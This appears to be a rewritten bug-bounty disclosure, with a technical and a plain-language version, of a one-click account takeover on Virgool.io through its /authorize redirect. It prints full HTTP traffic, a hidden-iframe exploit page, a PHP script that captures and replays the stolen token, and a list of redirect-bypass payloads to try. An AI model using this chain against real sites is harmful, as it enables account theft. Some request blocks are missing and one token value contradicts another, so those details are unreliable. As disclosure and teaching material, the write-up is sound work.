1-Click Account Takeover in Virgool.io — a Nice Case Study
The login authorisation endpoint accepted an arbitrary redirect target and, for an already logged-in user, redirected to that target with a fresh authentication token in the URL. An attacker could trick a logged-in user into visiting a malicious page that captured the token and used it to take over the account.
Published on medium.com
Web Application Security
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Virgool (virgool.io) is described in the report as a light, Iranian version of medium.com. One of its features is domain parking: a user can point their own domain at their Virgool profile, so that site.com becomes a mirror of virgool.io/myname. The product also has a login flow built around an /authorize endpoint that takes a redirectedFrom parameter and a status parameter, and a separate /authorize-token endpoint that consumes a token to refresh authentication (updating the JWT tokens).

The researcher found a one-click account takeover in that login and token-refresh mechanism, chaining it with an open redirect.
Setup
The researcher was browsing https://tech.cafebazaar.ir, a site hosted on Virgool, and read its source code. The only precondition for the attack is a victim who is already logged in to Virgool and who can be tricked into visiting an attacker-controlled page. The requests in the report were sent from Firefox 67.0 on Ubuntu (X11; Linux x86_64), and the server identified itself as nginx/1.15.9 with X-Powered-By: Virgool.
Finding it
The eye-catching part of the source of https://tech.cafebazaar.ir was the login link:
https://virgool.io/authorize?redirectedFrom=https://tech.cafebazaar.ir&status=login
The researcher clicked it, logged in to Virgool, and was redirected back to https://tech.cafebazaar.ir. The flow was then examined request by request.
Clicking login on the https://tech.cafebazaar.ir page produced:
GET /authorize?redirectedFrom=https://tech.cafebazaar.ir&status=login HTTP/1.1
Host: virgool.io
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://tech.cafebazaar.ir/
Connection: close
Cookie: PHPSESSID=[redacted]; rec=[redacted]; XSRF-[redacted] vrgl_sess=[redacted]; _ga=GA1.2.1769807866.1561463323; _gid=GA1.2.215640833.1561463323; _vcfg=%7B%22tpcs_c%22%3A49%7D; nightmode={%22value%22:0%2C%22userMenu%22:0%2C%22active%22:0}; __cfduid=[redacted]; _gat_UA-96394274-1=1
Upgrade-Insecure-Requests: 1
The response redirected to the login page:
HTTP/1.1 302 Found
Server: nginx/1.15.9
Date: Wed, 26 Jun 2019 05:45:35 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: Virgool
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Cache-Control: no-cache, private
Location: https://virgool.io/login
Set-Cookie: XSRF-[redacted] expires=Thu, 27-Jun-2019 05:45:35 GMT; Max-Age=86400; path=/
Set-Cookie: vrgl_sess=[redacted]; expires=Thu, 27-Jun-2019 05:45:35 GMT; Max-Age=86400; path=/; httponly
X-Frame-Options: sameorigin
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Security-Policy: default-src 'self' files.virgool.io blob:; connect-src 'self' https://www.google-analytics.com stats.vstat.ir heapanalytics.com cdn.iframe.ly https://geoip-db.com; font-src 'self' data: https://virgool.io; img-src blob: data: https: 'self' files.virgool.io https://www.google-analytics.com; object-src 'self' virgool.io; media-src cdn.virgool.io; script-src 'self' blob: https://virgool.io 'unsafe-eval' 'unsafe-inline' www.googletagmanager.com https://www.google-analytics.com js-agent.newrelic.com stats.vstat.ir bam.eu01.nr-data.net heapanalytics.com cdn.iframe.ly https://cdn.iframe.ly https://geoip-db.com https: 'self'; style-src 'unsafe-inline' data: https: 'self'; frame-src 'self' cdn.iframe.ly https://cdn.iframe.ly chromenull: https: webviewprogressproxy: ; worker-src blob: 'self'; Strict-Transport-Security: max-age=15724800; includeSubDomains
Content-Length: 5830
Submitting credentials on the login page sent:
The login response set the authentication cookies and returned a token plus a previous_url pointing back at the authorize endpoint with status=checked:
HTTP/1.1 200 OK
Server: nginx/1.15.9
Date: Wed, 26 Jun 2019 05:45:55 GMT
Content-Type: application/json
Connection: close
Vary: Accept-Encoding
X-Powered-By: Virgool
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Cache-Control: no-cache, private
X-RateLimit-Limit: 1000
X-RateLimit-Remaining: 861
Set-Cookie: auth_token=[redacted]; expires=Wed, 25-Mar-2020 23:45:55 GMT; Max-Age=23652000; path=/
Set-Cookie: jwts=[redacted]; expires=Wed, 25-Mar-2020 23:45:55 GMT; Max-Age=23652000; path=/; secure; httponly
Set-Cookie: refreshed_token=[redacted]; expires=Wed, 26-Jun-2019 06:05:55 GMT; Max-Age=1200; path=/; secure
Set-Cookie: uid=sb5uevdkih3r; expires=Wed, 25-Mar-2020 23:45:55 GMT; Max-Age=23652000; path=/
Set-Cookie: vrgl_sess=[redacted]; expires=Thu, 27-Jun-2019 05:45:55 GMT; Max-Age=86400; path=/; httponly
X-Frame-Options: sameorigin
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Security-Policy: default-src 'self' files.virgool.io blob:; connect-src 'self' https://www.google-analytics.com stats.vstat.ir heapanalytics.com cdn.iframe.ly https://geoip-db.com; font-src 'self' data: https://virgool.io; img-src blob: data: https: 'self' files.virgool.io https://www.google-analytics.com; object-src 'self' virgool.io; media-src cdn.virgool.io; script-src 'self' blob: https://virgool.io 'unsafe-eval' 'unsafe-inline' www.googletagmanager.com https://www.google-analytics.com js-agent.newrelic.com stats.vstat.ir bam.eu01.nr-data.net heapanalytics.com cdn.iframe.ly https://cdn.iframe.ly https://geoip-db.com https: 'self'; style-src 'unsafe-inline' data: https: 'self'; frame-src 'self' cdn.iframe.ly https://cdn.iframe.ly chromenull: https: webviewprogressproxy: ; worker-src blob: 'self'; Strict-Transport-Security: max-age=15724800; includeSubDomains
Content-Length: 612
{"success":true,"token":"[redacted]","previous_url":"https:\/\/virgool.io\/authorize?redirectedFrom=https:\/\/tech.cafebazaar.ir&status=checked","user":{"name":"YShahinzadeh","activated":1,"username":"YShahinzadeh","avatar":"https:\/\/files.virgool.io\/upload\/users\/9091\/avatar\/1xRXC6.png"}}
The researcher judged this flow not useful on its own. Manipulating the login link, for example:
https://virgool.io/authorize?redirectedFrom=https://test.com&status=login
would at most produce a useless open redirect after the user logged in. The report notes that this vector was not actually checked and that the author is not sure about an open redirect after the login sequence.
The interesting question was a different one: what happens if a user who has already logged in clicks on the authorize link?
Exploitation
Step 1: send the authorize request as an authenticated user
The researcher replayed the authorize request with an existing session:
GET /authorize?redirectedFrom=http://tech.cafebazaar.ir&status=login HTTP/1.1
Host: virgool.io
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: [redacted]
Upgrade-Insecure-Requests: 1
The response was surprising:
No login page appeared. The server issued a token to refresh the authentication, updating the JWT tokens, and placed it in the Location header as the token parameter of /authorize-token on the host named in redirectedFrom. Anyone who could steal that token could take over the account. The redirect target is attacker-controlled, so an open redirect is exactly the way to steal it.
Step 2: confirm the redirect target is arbitrary
The first shot was successful with a different host:
GET /authorize?redirectedFrom=http://localhost/&status=login HTTP/1.1
Host: virgool.io
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
...
HTTP/1.1 302 Found
Server: nginx/1.15.9
Date: Wed, 26 Jun 2019 08:42:40 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: Virgool
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Cache-Control: no-cache, private
Location: http://localhost/authorize-token?[redacted]&redirectedFrom=http://localhost/&nightmode={"value":0,"userMenu":0,"active":0}
...
The token was delivered to http://localhost/, the host named in redirectedFrom, which the researcher calls the first successful shot.
Step 3: the exploit page
The attacker hosts a page that loads the authorize endpoint in a hidden iframe:
<style>
iframe {
visibility: hidden;
position: absolute;
left: 0; top: 0;
height:0; width:0;
border: none;
}
</style>
<center><img src="troll.jpg"></center>
<iframe src="https://virgool.io/authorize?redirectedFrom=http://localhost/v/g.php&status=login"></iframe>
The iframe is invisible and zero-sized, so the victim sees only the image. Because the victim's browser already holds the Virgool session, the iframe request is authenticated, and the resulting 302 sends the browser to http://localhost/v/g.php with the token in the query string.
Step 4: capture the token and hand it back to Virgool
The attacker's endpoint stores the token and serves a page that redirects the victim's browser to Virgool's /authorize-token with that token:
<?php
file_put_contents('hacked.html', '<html><meta content="text/html;charset=utf-8" http-equiv="Content-Type"><meta content="utf-8" http-equiv="encoding"><script>document.location=\'http://virgool.io/authorize-token?token=' . $_GET['token'] . '&redirectedFrom=https://virgool.io&nightmode={"value":0,"userMenu":0,"active":0}\'</script>');
?>
The victim's browser then makes this request to the attacker's host:
GET /authorize-token?[redacted]&redirectedFrom=http://localhost/v/g.php&nightmode={%22value%22:0,%22userMenu%22:0,%22active%22:0} HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://localhost/v/
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
The token reaches the attacker, and with it the victim's Virgool account could be taken over. The researcher credits Virgool for a fast response and a bounty, and sent a proof-of-concept video with the report.
Root cause
The /authorize endpoint, when called with status=login by a user who already has a session, does not show a login page. It mints an authentication-refresh token and redirects to redirectedFrom with that token in the URL. The value of redirectedFrom is not restricted to Virgool's own hosts, so the token is handed to whatever origin the attacker names. The token is carried in a query string, which makes it readable by the destination server and by anything that logs URLs.
The defences visible in the responses did not help: X-Frame-Options: sameorigin and the frame-src directive of the Content-Security-Policy apply to Virgool's own pages, not to the attacker's page framing virgool.io/authorize, and the token is issued in a top-level navigation of that frame rather than in a script-readable response. The httponly flag on vrgl_sess and jwts protects those cookies from scripts, but the token here is not a cookie: it is a URL parameter. The report does not describe the server-side validation logic, so the exact check that was missing is not stated; likely the redirect target was accepted without an allowlist.
Impact
An attacker who can get a logged-in Virgool user to visit an attacker-controlled page can take over that user's account with a single click, without any interaction beyond loading the page. The attack requires the victim to be authenticated at the time of the visit and to be lured to the attacker's site.
Fix
The report does not describe the fix that Virgool applied. Based on the mechanism, the redirect target in /authorize should be validated against an allowlist of trusted hosts (or restricted to relative paths), and the refresh token should not be delivered in a URL query string to a third-party origin. The report only records that Virgool responded quickly and that the researcher thanks them for the bounty.
Variants to test
- Send
/authorize?redirectedFrom=<attacker host>&status=loginwith a valid session and look for a 302 whoseLocationpoints at the attacker host and carries atokenparameter. A positive result is the token arriving at a host you control. - Try redirect values that bypass naive allowlists: a host that merely contains the trusted domain as a prefix or suffix, a userinfo trick such as
https://[redacted], a scheme-relative//attacker.example, and a path-relative value. A positive result is aLocationheader whose host is not Virgool. - Test the same
redirectedFromparameter with otherstatusvalues, includingchecked, and observe whether the token is still issued or whether the flow changes. A positive result is a token in any redirect you can influence. - Check whether the token-refresh endpoint accepts a token from a different session or after logout, which would widen the window for replay. A positive result is a successful refresh with a token that should have been invalidated.
- Look for the same pattern on other sites with parked domains or third-party login links: any login link whose
redirectedFrom(or equivalent) value is reflected into a redirect after authentication is worth the same test.
What happened, in plain words
Virgool (virgool.io) is a publishing site, described in the report as a light, Iranian version of medium.com. One of its features is domain parking: a user can point their own domain at their Virgool profile, so that site.com becomes a mirror of virgool.io/myname. The site also has a login system built around an address called /authorize, which takes two pieces of information in its web address: redirectedFrom (where to send the user afterwards) and status (what stage of login the user is at). A second address, /authorize-token, takes a token and uses it to refresh the user's login.

The researcher found a way to take over another person's account with a single click, by combining that login mechanism with a second flaw called an open redirect. In plain terms: Virgool would hand out a login token to any web address the attacker named, and the attacker could make a logged-in victim's browser deliver that token straight to the attacker.
Before going further, a few words on the ideas involved, because the rest of the article depends on them.
- A web address (URL) is made of parts. In
https://virgool.io/authorize?redirectedFrom=https://tech.cafebazaar.ir&status=login, the part before the first?is the address of a page on Virgool, and everything after the?is extra information sent along with the request. Each piece of that extra information is a parameter, written asname=value, and several are joined with&. So this address carries two parameters:redirectedFromwith the valuehttps://tech.cafebazaar.ir, andstatuswith the valuelogin. - A cookie is a small piece of data that a website asks your browser to store and send back on every later request to that site. It is how a site remembers that you are logged in: after you sign in, the site sets a cookie, and your browser presents it on each following visit, like a cloakroom ticket that proves the coat is yours.
- A token is a string of characters that stands in for proof of identity, similar to a temporary pass. In this report the token is a short value such as
sa5uevekit3rthat Virgool issues so a session can be refreshed. - JWT stands for JSON Web Token, a standard format for such a pass. The report mentions that the token refreshes the authentication by updating the JWT tokens.
- An API is the part of a website that programs talk to, rather than pages meant for human eyes. It accepts a request and answers with data, usually in a machine-friendly format such as JSON, instead of a web page. Virgool's login form talks to an API at
/api/v1.2/login. - An endpoint is simply one specific address on a server that does one specific job, such as
/authorizeor/authorize-token. - An open redirect is a flaw where a site takes a destination from the web address and sends the visitor there without checking that the destination belongs to the site. It is like a receptionist who will forward your parcel to any address you write on it, including a stranger's.
- An account takeover is exactly what it sounds like: an attacker gains control of someone else's account.
- An iframe is a window inside a web page that shows another page. It can be made invisible and zero-sized, so the visitor never notices it is there.
- Source code is the text a browser receives to build a page. Anyone can view it in the browser, and it often reveals addresses and parameters the page uses behind the scenes.
Setting the scene
The researcher was browsing https://tech.cafebazaar.ir, a site hosted on Virgool, and looked at its source code. The only precondition for the attack is a victim who is already logged in to Virgool and who can be tricked into visiting a page the attacker controls. The requests in the report were sent from Firefox 67.0 on Ubuntu (X11; Linux x86_64), and the server identified itself as nginx/1.15.9 with X-Powered-By: Virgool.
Finding it
The eye-catching part of the source of https://tech.cafebazaar.ir was the login link:
https://virgool.io/authorize?redirectedFrom=https://tech.cafebazaar.ir&status=login
This is a link to Virgool's /authorize endpoint. The redirectedFrom parameter says where the user should end up after logging in, here the site they came from, and status=login says the user is at the login stage. The & is how the ampersand is written inside HTML source; the browser reads it as a plain &.
The researcher clicked it, logged in to Virgool, and was redirected back to https://tech.cafebazaar.ir. That is the intended behaviour: you log in on Virgool and return to the site you started from. The flow was then examined request by request, to see what actually travels between browser and server.
Clicking login on the https://tech.cafebazaar.ir page produced this request:
GET /authorize?redirectedFrom=https://tech.cafebazaar.ir&status=login HTTP/1.1
Host: virgool.io
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://tech.cafebazaar.ir/
Connection: close
Cookie: PHPSESSID=[redacted]; rec=[redacted]; XSRF-[redacted] vrgl_sess=[redacted]; _ga=GA1.2.1769807866.1561463323; _gid=GA1.2.215640833.1561463323; _vcfg=%7B%22tpcs_c%22%3A49%7D; nightmode={%22value%22:0%2C%22userMenu%22:0%2C%22active%22:0}; __cfduid=[redacted]; _gat_UA-96394274-1=1
Upgrade-Insecure-Requests: 1
Line by line:
GET /authorize?redirectedFrom=https://tech.cafebazaar.ir&status=login HTTP/1.1is the request line.GETmeans the browser is asking to fetch something./authorizeis the page being fetched, followed by the two parameters.HTTP/1.1is the version of the language browsers and servers use to talk.Host: virgool.iosays which site on the server the request is for. One server can host many sites, so this tells it which one.User-Agentidentifies the browser and operating system, here Firefox 67.0 on Ubuntu.Acceptlists the kinds of content the browser can handle, andAccept-Languagethe languages it prefers.Accept-Encodingsays the browser can accept compressed replies, to save bandwidth.Referertells the server which page the user came from, here the cafebazaar site. Note the spelling: the header really is calledReferer, a long-standing typo in the standard.Connection: closesays the connection can be closed after this exchange.Cookiecarries all the cookies the browser holds for virgool.io. Several are listed, includingvrgl_sess, which is a session cookie. The values are redacted here because they are secrets: anyone holding them could act as the user.Upgrade-Insecure-Requests: 1is a hint from the browser that it would prefer secure (HTTPS) versions of addresses.
The response redirected to the login page:
HTTP/1.1 302 Found
Server: nginx/1.15.9
Date: Wed, 26 Jun 2019 05:45:35 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: Virgool
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Cache-Control: no-cache, private
Location: https://virgool.io/login
Set-Cookie: XSRF-[redacted] expires=Thu, 27-Jun-2019 05:45:35 GMT; Max-Age=86400; path=/
Set-Cookie: vrgl_sess=[redacted]; expires=Thu, 27-Jun-2019 05:45:35 GMT; Max-Age=86400; path=/; httponly
X-Frame-Options: sameorigin
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Security-Policy: default-src 'self' files.virgool.io blob:; connect-src 'self' https://www.google-analytics.com stats.vstat.ir heapanalytics.com cdn.iframe.ly https://geoip-db.com; font-src 'self' data: https://virgool.io; img-src blob: data: https: 'self' files.virgool.io https://www.google-analytics.com; object-src 'self' virgool.io; media-src cdn.virgool.io; script-src 'self' blob: https://virgool.io 'unsafe-eval' 'unsafe-inline' www.googletagmanager.com https://www.google-analytics.com js-agent.newrelic.com stats.vstat.ir bam.eu01.nr-data.net heapanalytics.com cdn.iframe.ly https://cdn.iframe.ly https://geoip-db.com https: 'self'; style-src 'unsafe-inline' data: https: 'self'; frame-src 'self' cdn.iframe.ly https://cdn.iframe.ly chromenull: https: webviewprogressproxy: ; worker-src blob: 'self'; Strict-Transport-Security: max-age=15724800; includeSubDomains
Content-Length: 5830
Line by line:
HTTP/1.1 302 Foundis the status line.302is the code for a redirect: the server is telling the browser to go somewhere else.Server: nginx/1.15.9names the server software and version.X-Powered-By: Virgoolis a custom header naming the application.Dateis when the reply was produced.Content-Type: text/html; charset=UTF-8says the body is an HTML page in UTF-8 text encoding.Expires,Cache-ControlandPragmaare caching instructions. Together they tell the browser and any intermediate cache not to store this reply, which matters for anything login-related.Location: https://virgool.io/loginis the destination of the redirect. This is why the user lands on the login page.- The two
Set-Cookielines ask the browser to store cookies.XSRF-TOKENis a token used to protect forms against cross-site request forgery, a trick where another site makes your browser submit a form you did not intend.vrgl_sessis the session cookie.Max-Age=86400means it lasts 86,400 seconds, one day.path=/means it applies to the whole site.httponlymeans JavaScript on the page cannot read it, which protects it from script-based theft. X-Frame-Options: sameorigintells the browser this page may only be shown inside a frame if the surrounding page is from the same origin.X-Content-Type-Options: nosniffstops the browser from guessing a content type different from the declared one.X-XSS-Protection: 1; mode=blockswitches on a legacy browser filter against cross-site scripting.Content-Security-Policyis a long list of rules about which sources the page may load scripts, images, frames and so on from. Theframe-srcpart lists where frames may come from, andscript-srclists where scripts may come from. These rules apply to Virgool's own pages.Strict-Transport-Securitytells the browser to use HTTPS for this site for the next 15,724,800 seconds and to include subdomains.Content-Length: 5830is the size of the body in bytes.
Submitting credentials on the login page sent this request:
Line by line:
POST /api/v1.2/login HTTP/1.1is the request line.POSTmeans the browser is sending data, not just asking for a page. The target is an API endpoint, version 1.2 of the login service.Host,User-Agent,Accept-Language,Accept-EncodingandConnectionplay the same roles as before.Accept: application/json, text/plain, */*says the browser expects data back, preferably JSON, which is a text format for structured data.Referer: https://virgool.io/loginsays the submission came from the login page.X-XSRF-TOKENcarries the anti-forgery token, matching the cookie set earlier. The server compares the two to make sure the request really came from its own page.Content-Type: multipart/form-data; boundary=...says the body is a form split into parts, and gives the separator string that marks the boundary between parts. This is the same format browsers use for file uploads.Content-Length: 319is the body size.- The
Cookieline again carries the browser's cookies for the site. - The lines between the boundary markers are the form fields.
Content-Disposition: form-data; name="username"introduces the username field, and the line after the blank line is its value. The same pattern follows forpassword. Both values are redacted here because they are the researcher's own credentials. - The final boundary line ending in
--marks the end of the body.
The login response set the authentication cookies and returned a token plus a previous_url pointing back at the authorize endpoint with status=checked:
HTTP/1.1 200 OK
Server: nginx/1.15.9
Date: Wed, 26 Jun 2019 05:45:55 GMT
Content-Type: application/json
Connection: close
Vary: Accept-Encoding
X-Powered-By: Virgool
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Cache-Control: no-cache, private
X-RateLimit-Limit: 1000
X-RateLimit-Remaining: 861
Set-Cookie: auth_token=[redacted]; expires=Wed, 25-Mar-2020 23:45:55 GMT; Max-Age=23652000; path=/
Set-Cookie: jwts=[redacted]; expires=Wed, 25-Mar-2020 23:45:55 GMT; Max-Age=23652000; path=/; secure; httponly
Set-Cookie: refreshed_token=[redacted]; expires=Wed, 26-Jun-2019 06:05:55 GMT; Max-Age=1200; path=/; secure
Set-Cookie: uid=sb5uevdkih3r; expires=Wed, 25-Mar-2020 23:45:55 GMT; Max-Age=23652000; path=/
Set-Cookie: vrgl_sess=[redacted]; expires=Thu, 27-Jun-2019 05:45:55 GMT; Max-Age=86400; path=/; httponly
X-Frame-Options: sameorigin
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Security-Policy: default-src 'self' files.virgool.io blob:; connect-src 'self' https://www.google-analytics.com stats.vstat.ir heapanalytics.com cdn.iframe.ly https://geoip-db.com; font-src 'self' data: https://virgool.io; img-src blob: data: https: 'self' files.virgool.io https://www.google-analytics.com; object-src 'self' virgool.io; media-src cdn.virgool.io; script-src 'self' blob: https://virgool.io 'unsafe-eval' 'unsafe-inline' www.googletagmanager.com https://www.google-analytics.com js-agent.newrelic.com stats.vstat.ir bam.eu01.nr-data.net heapanalytics.com cdn.iframe.ly https://cdn.iframe.ly https://geoip-db.com https: 'self'; style-src 'unsafe-inline' data: https: 'self'; frame-src 'self' cdn.iframe.ly https://cdn.iframe.ly chromenull: https: webviewprogressproxy: ; worker-src blob: 'self'; Strict-Transport-Security: max-age=15724800; includeSubDomains
Content-Length: 612
{"success":true,"token":"[redacted]","previous_url":"https:\/\/virgool.io\/authorize?redirectedFrom=https:\/\/tech.cafebazaar.ir&status=checked","user":{"name":"YShahinzadeh","activated":1,"username":"YShahinzadeh","avatar":"https:\/\/files.virgool.io\/upload\/users\/9091\/avatar\/1xRXC6.png"}}
Line by line:
HTTP/1.1 200 OKmeans the request succeeded.Content-Type: application/jsonsays the body is JSON data, not a web page.Vary: Accept-Encodingtells caches that the reply can differ depending on the compression the browser asked for.X-RateLimit-Limit: 1000andX-RateLimit-Remaining: 861report a rate limit: at most 1,000 requests in the window, with 861 left. Rate limits exist to stop automated abuse.- The
Set-Cookielines store the login state.auth_tokenandjwtsare authentication cookies,refreshed_tokenis a short-lived one (1,200 seconds, 20 minutes),uidholds a user identifier, andvrgl_sessis the session cookie.securemeans the cookie is only sent over HTTPS, andhttponlymeans scripts cannot read it. - The security headers repeat those seen before.
- The body is a JSON object.
"success":truesays the login worked."token"is an authentication token, redacted here."previous_url"is the address the user should return to, which is the authorize endpoint again but now withstatus=checked, meaning the login step is done."user"describes the account: display name, anactivatedflag, username and avatar address. The slashes are escaped as\/because that is how JSON may write a slash.
The researcher judged this flow not useful on its own. Manipulating the login link, for example:
https://virgool.io/authorize?redirectedFrom=https://test.com&status=login
would at most produce a useless open redirect after the user logged in. That is, the user would be sent to test.com after signing in, which by itself gains an attacker nothing. The report notes that this vector was not actually checked and that the author is not sure about an open redirect after the login sequence.
The interesting question was a different one: what happens if a user who has already logged in clicks on the authorize link? A logged-in user does not need to see a login form, so the server has to decide what to do instead, and that decision is where the flaw lived.
Exploitation
Step 1: send the authorize request as an authenticated user
The researcher replayed the authorize request with an existing session:
GET /authorize?redirectedFrom=http://tech.cafebazaar.ir&status=login HTTP/1.1
Host: virgool.io
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: [redacted]
Upgrade-Insecure-Requests: 1
This is the same request as the first one, with two differences. The redirectedFrom value now uses http:// rather than https://, and the Cookie header is present but its contents are redacted, because the point of the test is that the browser is already carrying a valid session. The purpose of the step is to see how the server behaves when the person asking is already signed in.
The response was surprising:
Line by line:
302 Foundagain means a redirect.- The
Locationheader is the important line. Instead of sending the browser to Virgool's login page, the server sends it tohttp://tech.cafebazaar.ir/authorize-token, with three parameters:[redacted] the sameredirectedFromvalue, and anightmodevalue that records display preferences. In other words, the token is placed in the web address of a page on the host named inredirectedFrom`. - The
Set-Cookielines refresh the anti-forgery and session cookies, and the security headers repeat as before.
No login page appeared. The server issued a token to refresh the authentication, updating the JWT tokens, and placed it in the Location header as the token parameter of /authorize-token on the host named in redirectedFrom. Anyone who could steal that token could take over the account. The redirect target is attacker-controlled, so an open redirect is exactly the way to steal it: the victim's browser is told to go to a host the attacker chose, and the token travels in the address it goes to.
Step 2: confirm the redirect target is arbitrary
The first shot was successful with a different host:
GET /authorize?redirectedFrom=http://localhost/&status=login HTTP/1.1
Host: virgool.io
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
...
This request is identical in shape to the previous one, except that redirectedFrom now points at http://localhost/. localhost is the name a computer uses for itself, so in this test it stands for a host the attacker controls. The trailing ... means the report shows only the start of the request; the rest is the same as before.
HTTP/1.1 302 Found
Server: nginx/1.15.9
Date: Wed, 26 Jun 2019 08:42:40 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: Virgool
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Cache-Control: no-cache, private
Location: http://localhost/authorize-token?[redacted]&redirectedFrom=http://localhost/&nightmode={"value":0,"userMenu":0,"active":0}
...
Line by line:
302 Foundis again a redirect.Location: http://localhost/authorize-token?[redacted]&redirectedFrom=http://localhost/&nightmode=...shows the token being sent to the host the researcher named. The token value here,sb5uevdkih3r, is the same string that appeared as theuidcookie in the login response.- The
...at the end means the rest of the response is omitted.
The token was delivered to http://localhost/, the host named in redirectedFrom, which the researcher calls the first successful shot. The test matters because it proves the destination is not restricted to Virgool's own sites: any host name placed in redirectedFrom is obeyed.
Step 3: the exploit page
The attacker hosts a page that loads the authorize endpoint in a hidden iframe:
<style>
iframe {
visibility: hidden;
position: absolute;
left: 0; top: 0;
height:0; width:0;
border: none;
}
</style>
<center><img src="troll.jpg"></center>
<iframe src="https://virgool.io/authorize?redirectedFrom=http://localhost/v/g.php&status=login"></iframe>
Line by line:
- The
<style>block contains rules for how the page looks.iframe { ... }applies these rules to every iframe on the page. visibility: hiddenmakes the iframe invisible.position: absolutetakes it out of the normal layout.left: 0; top: 0pins it to the top-left corner.height:0; width:0shrinks it to nothing.border: noneremoves any border. Together these make the frame impossible to see.<center><img src="troll.jpg"></center>shows an ordinary image, centred. This is the decoy: the victim sees a picture and nothing else.<iframe src="https://virgool.io/authorize?redirectedFrom=http://localhost/v/g.php&status=login"></iframe>loads the authorize endpoint inside the hidden frame. TheredirectedFromvalue is now a page on the attacker's host,http://localhost/v/g.php, which is where the token should be delivered.
The iframe is invisible and zero-sized, so the victim sees only the image. Because the victim's browser already holds the Virgool session, the iframe request is authenticated, and the resulting 302 sends the browser to http://localhost/v/g.php with the token in the query string. The victim does not click anything on Virgool and does not type a password; simply loading the attacker's page is enough.
Step 4: capture the token and hand it back to Virgool
The attacker's endpoint stores the token and serves a page that redirects the victim's browser to Virgool's /authorize-token with that token:
<?php
file_put_contents('hacked.html', '<html><meta content="text/html;charset=utf-8" http-equiv="Content-Type"><meta content="utf-8" http-equiv="encoding"><script>document.location=\'http://virgool.io/authorize-token?token=' . $_GET['token'] . '&redirectedFrom=https://virgool.io&nightmode={"value":0,"userMenu":0,"active":0}\'</script>');
?>
Line by line:
<?phpand?>mark the start and end of a PHP script. PHP is a language that runs on the server, so this code executes on the attacker's machine, not in the victim's browser.file_put_contents('hacked.html', ...)writes a file namedhacked.htmlon the attacker's server. The second argument is the content to write.- The content is an HTML page with two
<meta>tags that declare it as UTF-8 text, followed by a<script>block. - Inside the script,
document.location=\'...\'tells the browser to navigate to the address in the quotes. The backslashes escape the single quotes so they sit inside the PHP string correctly. $_GET['token']reads thetokenparameter from the address the victim's browser requested. This is where the stolen token is picked up.- The address being built is
http://virgool.io/authorize-token?token=followed by the stolen token, then&redirectedFrom=https://virgool.ioand anightmodevalue. So the page sends the victim's browser back to Virgool's token endpoint with the token attached.
The victim's browser then makes this request to the attacker's host:
GET /authorize-token?[redacted]&redirectedFrom=http://localhost/v/g.php&nightmode={%22value%22:0,%22userMenu%22:0,%22active%22:0} HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://localhost/v/
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Line by line:
